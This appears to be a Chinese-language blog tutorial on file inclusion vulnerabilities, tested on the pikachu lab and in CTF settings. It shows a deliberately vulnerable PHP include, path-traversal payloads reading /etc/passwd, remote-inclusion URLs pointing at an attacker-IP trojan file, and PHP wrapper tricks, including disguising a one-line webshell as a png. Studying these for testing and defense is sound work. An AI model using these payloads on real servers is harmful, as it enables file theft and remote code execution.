文件包含漏洞& 文件伪协议利用_文件包含file协议的利用-CSDN博客

本文链接：https://blog.csdn.net/weixin_53912233/article/details/126801617

简介

#文件包含漏洞

原理，检测，类型，利用，修复等

#文件包含各个脚本代码

ASP,PHP,JSP,ASPX等

<!-—#include file="1.asp " -->

<c:import url="http://lthief.one/1.jsp">

<jsp:include page="head .jsp" / >

<%@ include file="head.jsp" %>

<?php Include ( 'test.php ' ) ?>

0x0 文件包含漏洞原理

文件包含可以解析文件的代码，而直接HTTP服务访问文本的时候能发现只能是文本

文件包含源代码：

<?php
$filename=$_GET['filename'];
include($filename);
?>

通过文件包含漏洞访问文本文件时，不仅脚本格式进行解析，还运行到当前网站身上

直接访问txt文本，发现只是普通的字符串

简单的一句话来概括就是将指定包含文件里面的内容，以这个网站的脚本代码去执行，如果网站是php那就是php执行，如果是jsp，那就是jsp执行

0x1 检测文件包含漏洞

检测思路：

我们以靶场pikachu为例，可以用手工看参数值，filename意思是文件，那么也就是关于文件操作的安全，再看看它的变量名是php脚本。我们知道文件包含原理是执行网站的脚本代码，那么正常情况下包含的肯定是关于网站的脚本代码文件，而不是图片。那么此网页显示出了图片（可以判定通过php代码来显示图片），再通过搜索框里的文件名为php后缀，就可以判断出此服务是具有文件包含漏洞的性质。经过测试得知，filename是可控变量，那么后续操作就本地文件读取解析文件和协议流玩法

其他的检测思路：

白盒测试：代码审计

黑盒测试：搜索引擎，工具，手工

0x2 文件包含漏洞类型

类型有本地包含和远程包含，远程包含危害最大

这里只讲有限制的类型，无限制的没必要讲

本地包含-有限制

?filename=../../../etc/passwd%00

%00截断：条件是magicquotes_gpc =Off php版本<5.3.4

?filename=../../../etc/passwd../../../../(或者.)

长度截断：条件:windows，点好需要长于256；linux长于4096

远程包含-有限制

支持远程包含开关

?filename=http://攻击者ip/muma.txt%20

?filename=http://攻击者ip/muma.txt?

?filename=http://攻击者ip/muma.txt%23

不过我在测试实验的时候不小心犯了低级错误，希望大家不要和我发生同样的问题

我在测试的时候忘记了自己的网站服务是搭建在D盘里，而我的文件是在E盘所以我以为是我的文件包含代码写错了。

0x3 文件协议流

在ctf比赛中，文件包含可能涉及到伪协议，将伪协议放入文件包含中就能拿到flag

不同的版本支持的协议也不一样

file:///文件的绝对路径

php://filter/convert.base64-encode/resource=文件名 (php伪协议)

php://input（输入到搜索框）post输入php执行代码

data://text/plain,<?php php代码;?>

phar://伪协议
这个就是php解压缩包的一个函数，不管后缀是什么，都会当做压缩包来解压，用法：?file=phar://压缩包/内部文件 phar://xxx.png/shell.php 注意 PHP>=5.3.0压缩包需要是zip协议压缩，rar不行，将木马文件压缩后，改为其他任意格式的文件都可以正常使用。步骤：写一个一句话木马shell。php，然后用zip协议解压缩为shell.zip。然后将后缀改为png等其他格式